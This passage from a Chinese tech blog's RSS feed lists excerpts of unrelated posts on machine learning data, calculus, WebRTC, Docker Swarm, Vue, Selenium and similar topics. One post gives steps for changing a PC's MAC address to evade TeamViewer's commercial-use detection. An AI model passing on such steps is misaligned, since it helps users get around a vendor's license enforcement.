      <description>前一段时间，训练2分类深度网络时，loss一直维持在2.3左右。在网上看了很多博客，最后从这篇博客中找到了，解决的方法。具体的不详细说了，可以参考那篇博客。我按照上面的提到问题，仔细检测自己的网络，发现可能是我的数据集中的图片和标签不一致所造成。&#xA;我的数据集是tfrecords格式的二进制文件（前提：确保制作数据集的图片不存在问题，不然读取时会报错。），我制作代码如下：&#xA;import glob import tensorflow as tf from PIL import Image import numpy as np import random num=0 bestnum=5000 recordfilenum=0 filenames=[] for filename in glob.glob(&#39;./data/PetImages/Cat/*.jpg&#39;)[2500:3000]: tmp=[] tmp.append(filename) tmp.append(0) filenames.append(tmp) for filename in glob.glob(&#39;./data/PetImages/Dog/*.jpg&#39;)[2500:3000]: tmp=[] tmp.append(filename) tmp.append(1) filenames.append(tmp) random.shuffle(filenames) for filename in filenames: if not num % bestnum: #超过1000，写入下一个tfrecord recordfilenum += 1 ftrecordfilename = (&#34;valpetdata.tfrecords_%.3d&#34; % recordfilenum) writer = tf.python_io.TFRecordWriter(os.path.join(&#39;./data&#39;,ftrecordfilename)) num = num + 1 img = Image.open(filename[0], &#39;r&#39;) img = img.</description>
    </item>
    <item>
      <title>《微积分：一元函数微分学》——判断拐点的三个充要条件</title>
      <link>https://bchobby.github.io/posts/d5e5c2b03f1da4c4c6d7c9466bc96a50/</link>
      <pubDate>Fri, 09 Aug 2019 10:34:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5e5c2b03f1da4c4c6d7c9466bc96a50/</guid>
      <description>二阶可导点是拐点的必要条件 设 存在，且点 （x0，f(x0) ) 为曲线拐点，则 判断拐点的第一充分条件 设 f(x) 在 x=x0 处连续，在点 x=x0 的某去心邻域 内二阶导数存在，且在该点的左右邻域内 变号&#xA;则点 （x0，f(x0) ) 为曲线拐点&#xA;判断拐点的第二充分条件 设 f(x) 在 x=x0 的某邻域内三阶可导，且 ,则点 （x0，f(x0) ) 为曲线拐点&#xA;判断拐点的第三充分条件 设 f(x) 在 x=x0 处 n 阶可导，且 当 n 为奇数时，点 （x0，f(x0) ) 为曲线拐点&#xA;证明：&#xA;由于n为奇数，令 n=2k+1，构造极限&#xA;上述洛必达法则成立的依据是最后的结果存在.&#xA;由函数极限的局部保号性可得：&#xA;同理可证 的情况&#xA;故点（x0，f(x0) ) 为曲线拐点&#xA;证毕</description>
    </item>
    <item>
      <title>这些免费版音视频格式转换器哪个最好用</title>
      <link>https://bchobby.github.io/posts/5a843871754171bbc71d44e1aaa6f2f7/</link>
      <pubDate>Fri, 09 Aug 2019 10:00:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a843871754171bbc71d44e1aaa6f2f7/</guid>
      <description>大家肯定都知道音频转换软件是什么，顾名思义也能明白就是当你碰到有什么音频在音乐播放器上因格式错误而导致无法正常播放时就需要借助到音频转换器来将音频格式转换成其它格式。那么谁知道音频格式转换软件免费版哪个最好用吗？小编接下来分享的这些音视频转换软件你一定没用过，不信就一起来看看吧！&#xA;软件一：迅捷音频转换器&#xA;迅捷音频转换器是一款多功能的音频编辑处理软件，软件具有功能齐全，操作简单等特点，支持音频剪切、音频提取、音频转换，可以多种分割方式进行音频剪切，而且软件不仅支持单个文件操作，还支持文件批量操作！&#xA;软件二：稞麦网视频转换器&#xA;稞麦网视频转换器(xmlbar)是一款易于使用、功能强大的视频文件格式转换工具。它不但完全免费而且不含有任何第三方插件，可以完全干净卸载。用户可以将多个视频文件一起转换，并输出到指定路径。支持各种视频和音频格式的相互转换，如mp4、3gp、mov、flv、f4v、avi、wmv、mp3等（特色: mp4和f4v之间可快速转换）。支持转换成为各种设备和os上可以观看的视频，如ipad、iphone、谷歌android、psp等。&#xA;软件三：视频转换大师&#xA;视频转换大师(WinMPG Video Convert)为视频格式文件转换提供了终极解决方案，它能够读取各种视频和音频文件，并且将他们快速转换为流行的媒体文件格式。&#xA;软件四：万能视频转码软件&#xA;一款视频格式转换的实用工具。万能视频转码软件不仅可以帮助你快速转换需要的视频格式文件，操作简单，不用很复杂就可以上手操作。而且万能视频转码软件还支持多种类的视频格式转换、具有视频抓取。剪辑等功能。为用户带来良好的视频转换体验。&#xA;文章最后告诉大家一个小秘密，其实小编一直用的是以上第一款音频转换器，这个软件界面简洁、引导式的功能界面，就算是新手也能马上上手，支持的音频格式也很多，基本上主流的音频格式都能相互转换。</description>
    </item>
    <item>
      <title>spirng源码中关于方法refreshBeanFactory委派模式的理解</title>
      <link>https://bchobby.github.io/posts/109428e8e43ca931390f50634874de50/</link>
      <pubDate>Thu, 08 Aug 2019 16:48:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/109428e8e43ca931390f50634874de50/</guid>
      <description>今天在查看spring源码时在AbstractApplicationContext类中看到了如下代码&#xA;跟进 refreshBeanFactory()方法后发现是一个抽象方法，如下：&#xA;protected abstract void refreshBeanFactory() throws BeansException, IllegalStateException; 而正在实现方法的是她的子类&#xA;如是陷入了深深的纳闷中“父类竟然能直接调用子类中的方法？” 经过网上搜索发现这叫委派模式。&#xA;网上是这么介绍的：&#xA;比较有用的例子如下：&#xA;***在这个例子里，类C可以委托类A或类B，类C拥有方法使自己可以在类A或类B间选择。因为类A或类B必须实现接口I规定的方法，所以在这里委托是类型安全的。**/ package Paint; interface I { void f(); void g(); } class A implements I { public void f() { System.out.println(&#34;A: doing f()&#34;); } public void g() { System.out.println(&#34;A: doing g()&#34;); } } class B implements I { public void f() { System.out.println(&#34;B: doing f()&#34;); } public void g() { System.out.println(&#34;B: doing g()&#34;); } } class C implements I { I i = new A(); public void f() { i.</description>
    </item>
    <item>
      <title>teamviewer检测为商业用途 5分钟后关闭解决方法</title>
      <link>https://bchobby.github.io/posts/6dc565166ca1ed545a7de5eda147296e/</link>
      <pubDate>Thu, 08 Aug 2019 16:13:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dc565166ca1ed545a7de5eda147296e/</guid>
      <description>相信很多办公的人员都会喜欢使用远程的工具，目前在是市面上使用较多的远程工具有teamviewer，向日葵，还有QQ的远程。但是使用比较频繁的还是teamviewer，但是teamviewer使用比较频繁之后，就会有所限制，就会弹出检测为商业用途 5分钟后关闭的字样，这样很不方便。&#xA;步骤一： 关于如何解决“teamviewer检测为商业用途 5分钟后关闭“这样一个问题呢？相信很多网友都尝试过了，包括小编在内也尝试过了， 最终小编总结出了一个方法，彻底解决了这样一个问题。&#xA;步骤二： 那就是修改系统的mac地址，就是这么简单。打开桌面的控制面板，然后找到网络与Internet那个选项，点击&#34;查看网络状态与任何”那一栏。就会跳转到网络共享中心这个界面。&#xA;步骤三： 在网络共享中心这个界面中，点击左边的“更改适配器设置”选项，在网络连接这个界面中，找到本地连接的网络，然后右键属性，就转到了本地连接的属性对话框中。&#xA;步骤四： 在对话框中，点击配置按钮，就转到了Realtek PCIe FE Falimy Controller属性对话框中，然后在上面的菜单按钮中点击高级那个选项，滚动滚动条，找到网络地址那个选项。&#xA;步骤五： 双击“网络地址”选项，来到了更改mac地址值的界面，然后在单选框中选中值那一栏，然后随便更改一下值，注意：如果是局域网的话，不要更改重复了，小编这边就随便写了个1。&#xA;步骤六： 更改之后，按下确认键，此时网络会断开一下，然后网络重新连接完成，此时mac地址更改已经完成。这个时候，你再重新打开teamviewer，如果你打开的id与之前修改mac地址的id 不同的话，恭喜你完成了。&#xA;步骤七： 如果打开的id和以前一样，卸载，再修改mac之后重装。</description>
    </item>
    <item>
      <title>第五章 WebRTC, SIP和 Verto</title>
      <link>https://bchobby.github.io/posts/fd73109da6121be2fad8dcaa8d744b37/</link>
      <pubDate>Thu, 08 Aug 2019 14:35:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd73109da6121be2fad8dcaa8d744b37/</guid>
      <description>WebRTC，视频和音频的实时通信，已经在超过十亿个浏览器上工作。很快移动应用程序就会成倍增长。WebRTC有望成为物联网（IOT）所采用的多媒体通信层。&#xA;FreeSwitch是一个完整的WebRTC解决方案，使现有的和遗留的应用程序能够通过新的渠道为用户服务。此外，Freeswitch是一个超级可编程应用服务器，是您创建杀手级服务的基础，它定义了“快速致富”的新概念！&#xA;WebRTC是一组P2P多媒体流的技术和标准。WebRTC需要一个额外的信令和会话管理层才能真正有用：它包括用户目录、用户定位、故障管理等等。&#xA;FreeSWITCH既支持WebRTC上的SIP（会话初始化协议），也支持VERTO协议。VERTO是一种新的开源协议，它的设计旨在为JavaScript开发者提供方便。&#xA;我们将看到如何安装、配置和管理FreeSWITCH服务，把它作为一个集成的WebRTC平台。我们还将看到Verto Communicator (VC)的惊人先进性，和简单的浏览器客户端视频会议和远程呈现应用。&#xA;最后，我们将以两种难以区分的方式实现同一个应用：WebRTC房间，一种基于SIP.js，另一种基于verto.js。&#xA;这一章，我们将讨论以下主题：&#xA;WebRTC 概念WebRTC 里的加密FreeSWITCH的WebRTCSIP和Verto协议的基本原理安装并配置一个完整的FreeSWITCH WebRTC平台Verto通信的惊人特性怎样利用Verto和SIP.js编写测试应用 WebRTC概念 WebRTC是一组支持P2P音频、视频和数据采集、流媒体和交换的标准和技术。它的首款“杀手级”应用是视频电话和视频会议。它首先在web浏览器上实现(已有超过10亿个兼容WebRTC的浏览器)，这项技术已经在许多智能手机应用上推广，据预测，它可能成为物联网多媒体通信的基础(将有数十亿的物联网设备启用WebRTC)。&#xA;在最直接和流行的实现中，浏览器会访问一个页面，并加载页面所包含的Javascript。脚本的函数使用WebRTC API（后面介绍）与计算机多媒体硬件交互（麦克风、摄像头），并且和对端交换音视频媒体流。&#xA;这里的重点是P2P。WebRTC不规定或支持任何超出抓取、发送、接收和播放流之外的操作。没有信令，没有用户目录或定位服务，没有协商通信会话建立和销毁的协议，等等。&#xA;WebRTC既不是协议，也不是服务。仅使用WebRTC技术，你必须对两个端点的应用地址硬编码，嗅探它们的监听，而应用程序只对这些端点有效。&#xA;除了最简单演示之外，WebRTC还需要某种信令和会话管理协议。对于你的WebRTC服务来说，你可以选择现成的协议，或者自己发明一套私有协议。&#xA;最成熟的会话管理信令协议显然是SIP，它支持着整个世界的通信网络，从PSTN运营商到移动运营商，再到PBX呼叫服务，SIP的身影无处不在。另一种广泛应用的协议是XMPP，它主要用于管理即时消息和状态服务。有许多专有封闭的协议，其中以Skype背后的协议最为突出。还有面向Web开发人员和JavaScript编程人员的开源替代方案，如Freeswitch的Verto。你必须选择一种，或自己写。&#xA;WebRTC技术体现为软件开发人员构建程序时用到的三组应用编程接口（API）：GetUserMedia (GUM)、RTCPeerConnection (RTCPC 或PC)和RTCDataChannels (RTCDC 或 DC)。&#xA;GetUserMedia 用于枚举机器上的多媒体硬件，请求用户权限来控制麦克风和摄像头，获取媒体流，并通过屏幕和扬声器播放流。RTCPeerConnection 用于在定义的端点间传输音频和视频流。RTCDataChannels 用于在定义的端点间传输任意数据（即使是结构化数据）。 WebRTC RTCPeerConnection 必须使用ICE，STUN和TURN来穿透防火墙和NAT，最终抵达另一端。&#xA;ICE是WebRTC自身推广的一种技术，并获得了巨大的吸引力。它是解决所有网络问题的真正的灵丹妙药，并且工作完成得相当完美，是多年VoIP工程服务的精华。&#xA;ICE将通过一个STUN服务器告诉应用程序它的公网地址是什么（从NAT和防火墙的另一侧看到的公网地址），并使用一个TURN服务器作为中继，防止 P2P通信失败。因此，一个功能完整的WebRTC应用需要：&#xA;使用 GetUserMedia API 控制麦克风和摄像头使用一种会话协议和可能的外部辅助服务器定位对方端点并建立会话使用ICE (和 STUN 和 TURN) 确定网络路径使用 RTCPeerConnection 传输音/视频媒体流 加密无处不在 对媒体流和数据流加密是强制性的。 如果不对交换的媒体流加密，就没有WebRTC通信。包括所有的媒体流（音频和视频）和可能存在的数据流都需要加密。媒体流被加密为SRTP，通过DTLS交换密钥。这一切都是由RTCPeerConnection API替你完成的。&#xA;但是，当你操作时，对会话协议一并加密才更具意义。这种信令选择的传输层通常选择安全的WebSocket。在定义WebRTC信令服务器和终端端时，WSS:// 这样的URI前缀(WebSocket Secure)到处可见。WSS信令交换是TLS加密的（就像web的HTTPS）。未加密的交换方式，前缀是WS，但除了测试之外，很少使用。&#xA;FreeSWITCH的WebRTC 好了，抽象的内容说得够多了，是时候拿出点实质性的东西了：FreeSWITCH是怎样实现WebRTC的？&#xA;FreeSWITCH是一个完整的WebRTC平台，既可以作为WebRTC网关，也可以作为WebRTC应用服务器。例如，FreeSWITCH能够把WebRTC客户端连接到外部“正常”的SIP和PSTN服务（或者PBX），从而使现有或遗留的服务能够被超过10亿的浏览器在线访问。与此同时（这是真实的，作为网关同时提供某些附加的服务），FreeSWITCH能够为WebRTC客户端（浏览器或App）提供与其它“正常”SIP和PSTN客户端相同的服务，比如PBX、IVR、呼叫中心、会议系统、电话卡，等等。&#xA;对FreeSWITCH来说，WebRTC只不过是另一种类型的通信通道，和SIP、TDM、MGCP、H323、Skype、Jingle是一样的。FreeSWITCH的所有特性天然支持WebRTC。&#xA;FS 的WebRTC信令: SIP和Verto 从这一章的前面部分内容中，我们已经知道WebRTC需要一种会话协议来补充它自己的媒体流功能。这个协议将用于定位端点位置、建立与拆除会话，管理状态和消息。 FreeSWITCH支持两种这类型的协议：SIP和Verto。&#xA;这两种不同的协议只影响客户端的编写方式（客户端是加载Javascript的网页，可以访问FreeSWITCH）和客户端与FreeSWITCH的“交谈”方式。两种协议都可以完全访问FreeSWITCH的所有功能和服务。此外，不同客户端可以同时使用两种协议接入同一服务，甚至直接互动。例如：我们可以在FreeSWITCH上发起一个视频会议，让一个基于SIP的FreeSWITCH客户端，一个基于Verto的客户端，还有其它TDM客户端，普通（非WebRTC）SIP客户端同时接入会议室：&#xA;为什么选择SIP？又为什么选择Verto? 记住：这里的选择影响的只是访问FreeSWITCH的页面应用的Javascript编写方式。在本章的后续内容中，我们将介绍一个具体实例，分别用两种协议实现一个相同的应用程序。从终端用户的角度看，感觉不到其中的差异。&#xA;尽管SIP很复杂，但有电信背景的程序员很容易接受，他们对这些概念很熟悉：会话、对话、事务、REGISTER/ INVITE/ BYE消息，等等。它是在复杂环境中集成WebRTC客户端的完美选择，在扩展、监视和部署方面拥有20年的经验积累。</description>
    </item>
    <item>
      <title>python selenium 启动浏览器，有无界面</title>
      <link>https://bchobby.github.io/posts/b847d031cd20264c5aaff5f826fc2b22/</link>
      <pubDate>Thu, 08 Aug 2019 10:43:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b847d031cd20264c5aaff5f826fc2b22/</guid>
      <description> 有界面 耗内存，速度慢 #coding=utf-8 #导入select方法 from selenium import webdriver # 有界面 # driver=webdriver.Chrome() driver.get(&#34;https://www.amazon.com/dp/0062301675&#34;) driver.quit() 无界面 节省内存，速度快 #coding=utf-8 #导入select方法 from selenium import webdriver # 无界面 chrome_options = webdriver.ChromeOptions() chrome_options.add_argument(&#39;--headless&#39;) driver = webdriver.Chrome(chrome_options=chrome_options) driver.get(&#34;https://www.amazon.com/dp/0062301675&#34;) driver.quit() </description>
    </item>
    <item>
      <title>Java实现对压缩文件的解压（图形界面）</title>
      <link>https://bchobby.github.io/posts/6d2afde24ca1df36feff89ffd02c1906/</link>
      <pubDate>Thu, 08 Aug 2019 10:36:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d2afde24ca1df36feff89ffd02c1906/</guid>
      <description>核心代码： 读取指定压缩文件信息 package my; import java.util.ArrayList; import java.util.Enumeration; import java.util.List; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; public class ZipInfo { public int fileCount; // zip文件里的文件个数 public long totalSize; // zip文件里所有文件的总大小 List&amp;lt;ZipEntry&amp;gt; entries = new ArrayList&amp;lt;&amp;gt;(); // 显示的时候将文件夹排在前面，文件排在后面 public void sort() { } // 工具方法: 从ZipFile中获取目录信息 public static ZipInfo from(ZipFile zipFile) throws Exception { ZipInfo info = new ZipInfo(); Enumeration&amp;lt;?&amp;gt; entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = (ZipEntry) entries.nextElement(); info.entries.add(entry); if ( !</description>
    </item>
    <item>
      <title>echarts Y轴设置刻度间隔</title>
      <link>https://bchobby.github.io/posts/6b6a308622d2b7b70320d53b8e31b5d8/</link>
      <pubDate>Thu, 08 Aug 2019 10:03:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b6a308622d2b7b70320d53b8e31b5d8/</guid>
      <description> 设置最小刻度值&#xA;minInterval: 6&#xA;yAxis: [{ max:30, // min:0, type: &#39;value&#39;, minInterval: 6, interval:6， //每次增加几个 }], </description>
    </item>
    <item>
      <title>SparkSQL任务提交、执行计划</title>
      <link>https://bchobby.github.io/posts/4582545d7a53df2ab673024260594a42/</link>
      <pubDate>Thu, 08 Aug 2019 09:30:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4582545d7a53df2ab673024260594a42/</guid>
      <description>1、提交任务的缺点 用spark-submit提交任务时会有一些缺点：&#xA;耗费太多的时间用于申请资源上，尤其针对那些小任务（可能任务非常快就完成了）若因为部分task一值无法结束，那么即使那些完成的task，资源也不会释放Sparl sql join以及aggregation的ShufflePatition数默认是200，若数据比较少或非常多，那么参数就需要适当的做修改，减少小文件或增加并发。要处理的数据都有波峰波谷，如何保证波峰资源不吃紧波谷资源不浪费。 是否有将所有的作业共享Spark session来解决上述的问题，社区提供了：JobServer&#xA;2、SparkSQL执行计划 这里有篇很不错的博文：&#xA;http://hbasefly.com/2017/03/01/sparksql-catalyst/&#xA;3、选择 Parquet for Spark SQL 的 5 大原因 博文：&#xA;https://www.ibm.com/developerworks/cn/analytics/blog/5-reasons-to-choose-parquet-for-spark-sql/</description>
    </item>
    <item>
      <title>Swarm管理Docker集群</title>
      <link>https://bchobby.github.io/posts/c90c21d36a05dbae62ce5f65dd3730be/</link>
      <pubDate>Wed, 07 Aug 2019 22:26:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c90c21d36a05dbae62ce5f65dd3730be/</guid>
      <description>一.swam简介 Swram是Docker公司推出的官方容器集群平台，基于go语言实现，代码开源在 https://github.com/docker/swarm .2016年2月对架构进行重新设计，推出了v2版本，支持超过1千个节点。作为容器集群管理器，Swarm最大的优势之一就是100%支持标准的Docker API及工具（如Compose，docker-py等），Docker本身就可以很好地与Swarm进行集成。&#xA;Manager：接收客户端服务定义，将任务发送到agnet节点，维护集群期望状态和集群管理功能以及leader选举。默认情况下manager节点也会运行任务，也可以配置只做管理任务。&#xA;agent：接收并执行从管理节点分配的任务，并报告任务当前的状态，以便Manager节点维护每个服务期望状态。&#xA;二.Swam管理集群 1.部署集群&#xA;1.清理实验环境&#xA;删除server1、server2的容器&#xA;2.为server3安装docker（server1、server2已经安装好了）&#xA;[root@server1 ~]# scp -r docker server3: [root@server3 ~]# ls docker [root@server3 ~]# cd docker/ [root@server3 docker]# ls container-selinux-2.21-1.el7.noarch.rpm docker-ce-18.06.1.ce-3.el7.x86_64.rpm libsemanage-2.5-8.el7.x86_64.rpm libsemanage-python-2.5-8.el7.x86_64.rpm pigz-2.3.4-1.el7.x86_64.rpm policycoreutils-2.5-17.1.el7.x86_64.rpm policycoreutils-python-2.5-17.1.el7.x86_64.rpm repodata [root@server3 docker]# yum install *.rpm -y 3.打开server3的docker服务&#xA;[root@server3 docker]# systemctl start docker.service 4.初始化server1（管理节点）的swarm集群&#xA;[root@server1 ~]# docker swarm init 5.查看server1的桥接，和网络信息&#xA;[root@server1 ~]# yum install bridge-utils.x86_64 -y&#x9;##提供brctl命令 [root@server1 ~]# brctl show [root@server1 ~]# docker network ls 6.</description>
    </item>
    <item>
      <title>用Vue编写项目中的前端页面</title>
      <link>https://bchobby.github.io/posts/ca7e5c3eb7ff31bb211dc064446b298e/</link>
      <pubDate>Wed, 07 Aug 2019 16:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca7e5c3eb7ff31bb211dc064446b298e/</guid>
      <description>文章目录 前言实现效果准备实现 前言 Ajax 是一种在无需重新加载整个网页的情况下，能够更新部分网页的技术。使用Vue，同样也可以达到此种效果。这里介绍的，就是用Vue来编写前端页面的例子。&#xA;原例子项目来自此博客：https://blog.csdn.net/qq_41151659/article/details/98115573&#xA;实现 效果 原来是用动态Jsp编写查看所有书籍（allBook.jsp）的页面，这里换用vue实现（Vue.jsp）。&#xA;准备 在webapp目录下新建一个statics包，并在该包下新建vue文件夹，导入vue.js和vue-resources.js文件（去Vue官网下载），如图所示：&#xA;实现 原先的查看所有书籍页面（allBook.jsp），代码如下： &amp;lt;%@ page contentType=&#34;text/html;charset=UTF-8&#34; language=&#34;java&#34; %&amp;gt; &amp;lt;%--使用JSTL标签--%&amp;gt; &amp;lt;%@ taglib prefix=&#34;c&#34; uri=&#34;http://java.sun.com/jsp/jstl/core&#34; %&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;全部书籍&amp;lt;/title&amp;gt; &amp;lt;%--引用BootStarp--%&amp;gt; &amp;lt;link href=&#34;https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css&#34; rel=&#34;stylesheet&#34;&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;%--标题--%&amp;gt; &amp;lt;div class=&#34;row clearfix&#34;&amp;gt; &amp;lt;div class=&#34;col-md-12 column&#34;&amp;gt; &amp;lt;div class=&#34;page-header&#34;&amp;gt; &amp;lt;h1&amp;gt; &amp;lt;small&amp;gt;书籍列表--显示所有书籍&amp;lt;/small&amp;gt; &amp;lt;/h1&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;%--增加--%&amp;gt; &amp;lt;div class=&#34;row&#34;&amp;gt; &amp;lt;div class=&#34;col-md-4 column&#34;&amp;gt; &amp;lt;a class=&#34;btn btn-primary&#34; href=&#34;${pageContext.request.contextPath}/book/toAddBook&#34;&amp;gt;新增&amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;%--展示页面：表格，修改，删除--%&amp;gt; &amp;lt;div class=&#34;row clearfix&#34;&amp;gt; &amp;lt;div class=&#34;col-md-12 column&#34;&amp;gt; &amp;lt;table class=&#34;</description>
    </item>
    <item>
      <title>iOS 改变字符串中数字的颜色</title>
      <link>https://bchobby.github.io/posts/eaa696b29638ab1ef9c4372bdb573b98/</link>
      <pubDate>Wed, 07 Aug 2019 15:15:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaa696b29638ab1ef9c4372bdb573b98/</guid>
      <description>匹配中文字符 [\u4e00-\u9fa5]&#xA;匹配双字节字符(包括汉字在内) [^\x00-\xff]&#xA;匹配网址：[a-zA-z]+://[^\s]*&#xA;匹配国内电话 \d{3}-\d{8}|\d{4}-\{7,8}&#xA;匹配腾讯QQ号 [1-9][0-9]{4,}&#xA;匹配18位身份证号^(\d{6})(\d{4})(\d{2})(\d{2})(\d{3})([0-9]|X)$&#xA;Swift String&#xA;// // ModifyNumberColor.swift // CodeBench // // Created by coder on 2019/8/7. // Copyright © 2019 AlexanderYeah. All rights reserved. // import Foundation import UIKit extension String { /// 改变字符串中数字的颜色和字体 /// /// - Parameters: /// - color: 颜色 /// - font: 字体 /// - regx: 正则 默认数字 &#34;\\d+&#34; /// - Returns: attributeString func modifyNumberColor(color: UIColor, font: UIFont, regx: String = &#34;</description>
    </item>
    <item>
      <title>OriginPro2016 三维绘图</title>
      <link>https://bchobby.github.io/posts/03e562ac542041ae006b209e7ee90720/</link>
      <pubDate>Wed, 07 Aug 2019 09:49:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03e562ac542041ae006b209e7ee90720/</guid>
      <description>小编最近写论文需要绘制一些三维图，经同学推荐觉得OriginPro2016是一个不错的数据画图以及分析软件， 只不过目前小编只是简单使用了三维画图的功能，下面简单进行总结：&#xA;1、三维线图，如下图所示的模式&#xA;新建一个BOOK：&#xA;插入一列，并将三列分别设置为X Y Z&#xA;如果想实现如图一中所示的，多条三维曲线图，数据应该像如下图中一样排列：&#xA;然后在plot--&amp;gt;3D symbol/bar/vector--&amp;gt;3D scatter，对轴和曲线进行属性设置，可以实现图一所示的效果。&#xA;2、绘制三维曲线图&#xA;要想绘制如上图所示的三位曲线图，有以下三个步骤：&#xA;（1）新建book&#xA;（2）插入一列，并将三列分别设置为X Y Z，并将所有的点都放在XYZ下面，如下图所示：&#xA;注：这个是跟上一个三维曲线图稍微有些区别&#xA;（3）选择plot--&amp;gt;3D surface--&amp;gt;color map surface选项，在进行相关属性的设置即可的到三维曲线图。</description>
    </item>
    <item>
      <title>Less学习（四）----扩展（Extend）</title>
      <link>https://bchobby.github.io/posts/cbf0e43ea2e976d8ee7aa8f1dc34d364/</link>
      <pubDate>Tue, 06 Aug 2019 19:14:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbf0e43ea2e976d8ee7aa8f1dc34d364/</guid>
      <description>扩展(Extend) 选择器:extend(选择器参数){ }&#xA;扩展是less里的伪类,作用是 将选择器与匹配它引用的选择器合并在一起&#xA;简单地说，就是 在extend里选择器参数出现的设置规则的时候,也会给extend前的选择器给予同样的规则,相当于非破坏性的搜索和替换（）&#xA;.a:extend(.b){ } .b{ 样式规则 } 等价于 .b, .a{ 样式规则 }&#xA;在输出之前会移除扩展,选择器块仍然保持不变,当没有向扩展里放属性时,在输出的时候会移除扩展,不过仍然可能对其他选择器有影响(不太清楚有啥影响))&#xA;1)语法&#xA;extend可以绑定在选择器上也可以放在规则设置里,在选择器参数后可以添加 关键字 all,添加了 all 后,只要有 选择器参数出现的地方都会产生扩展, 没有关键字 all 时,只有 选择器参数单独出现的时候才会产生扩展&#xA;有多个选择器参数时可以使用 ‘,’ 隔开,和写多个 扩展是一样的&#xA;.a:extend(.b){ } 等价于 .a{ &amp;amp;:extend(.b); }&#xA;.a:extend(.b),.c:extend(.d){} 等价于 .a:extend(.b){} .c:extend(.d){}&#xA;(1) 没有关键字all&#xA;.a:extend(.b){ } .b.c{ 样式规则//此时的样式是不会渲染到 .a.c ,只会渲染 .b.c }&#xA;(2)关键字 all&#xA;.a:extend(.b all){ } .b.c{ 样式规则//此时的样式是能够渲染到 .a.c } 相当于 .b.c, .a.c{ 样式规则 }&#xA;2)绑定在选择器上&#xA;一个选择器上可以绑定多个伪类,但是 扩展必须在最后,多个选择器里部分选择器绑定 扩展和单独绑定扩展是一样的</description>
    </item>
    <item>
      <title>CityHash</title>
      <link>https://bchobby.github.io/posts/9f0c4e56a7fe73ed6e93267e02995411/</link>
      <pubDate>Tue, 06 Aug 2019 15:01:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f0c4e56a7fe73ed6e93267e02995411/</guid>
      <description>CityHash在python上可以直接导入模块使用。https://pypi.org/project/cityhash/但是可能仅支持Linux系统，不支持Windows系统(反正本菜鸡在瘟十上面各种报错提示要修改XX文件)...&#xA;CityHash算法由Google公司于2013年公布，是个略久远的算法了~&#xA;CityHash 的主要优点是大部分步骤包含了至少两步独立的数学运算。现代 CPU 通常能从这种代码获得最佳性能。但 CityHash 也有其缺点：代码较同类流行算法复杂。&#xA;人家当时对这个字符串哈希算法的要求是：&#xA;quick and dirty(dirty？？？我没太理解)suitable for a librarysuitable for fingerprinting（对于要生成指纹的童鞋来说是个很友好的算法！）secure 本着比Murmurhash2更高(质量)更快的要求，他们创造了CityHash。&#xA;CityHash64的整体框架是：&#xA;if (N &amp;lt;= 32) if (N &amp;lt;= 16) if (N &amp;lt;= 8) ... else ... else ... else if (N &amp;lt;= 64) { // Handle 33 &amp;lt;= N &amp;lt;= 64 ... } else { // Handle N &amp;gt; 64 int iters = ⌊N/64⌋ ... } 预处理：&#xA;k0,k1,k2是2^64附近的素数，并且K=k2+2N&#xA;当1≤N≤3时：&#xA;当4≤N≤8时：&#xA;当9≤N≤16时：</description>
    </item>
    <item>
      <title>第六章：MATLAB：二维绘图（plot绘图命令 fplot命令 ezplot命令 不同的坐标系）</title>
      <link>https://bchobby.github.io/posts/c88c7fa9c7eb5aa520557f58dc682ca9/</link>
      <pubDate>Tue, 06 Aug 2019 09:16:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c88c7fa9c7eb5aa520557f58dc682ca9/</guid>
      <description>第六章：二维绘图 6.1. 二维绘图6.1.1. plot绘图命令：6.1.2. fplot绘图命令：6.1.3. ezplot绘图命令： 6.2. 不同坐标系下的绘图命令：6.2.1. 极坐标系下的绘图：6.2.2. 双y轴坐标 6.3. 图形窗口6.3.1. 图形窗口的创建6.3.2. 工具条的使用 6.4. 综合实例--绘制函数图线 本部分介绍MATLAB的图形窗口和二维图形的绘制： 二维曲线是将平面上的数据连接起来的平面图形，数据点可以由向量或者矩阵来提供，matlab大量的数据给二位图像提供了平台 这就是matlab区别于其他科学计算的地方，实现了数据结果的可视化，具有强大的图形功能&#xA;6.1. 二维绘图 6.1.1. plot绘图命令： plot函数是最基本最常用的绘图命令，执行plot命令，系统会自动创建一个新的图形窗口，&#xA;plot函数有以下几种调用格式：&#xA;1）plot(x)&#xA;a:当x是实向量时，则绘制出以该向量元素的下标（即向量的长度）为横坐标，以该向量元素的值为纵坐标的一条连续曲线&#xA;b:当x是实矩阵时，按列绘制出每列元素值对应的下标的曲线，曲线数等于列数；&#xA;c:当x是复矩阵时，按列分别绘制出以元素实部为横坐标，虚部为纵坐标的多条曲线；&#xA;这个函数理论基础看似简单，实际上后续都很重要&#xA;如果要在同一个图形窗口之中分割出所需要的几个窗口来，可以使用subplot命令&#xA;1）subplot(m,n,p):视图分割成m*n个视图，并指定第p个视图为当前视图，&#xA;2）subplot(‘position’,[left bottom width 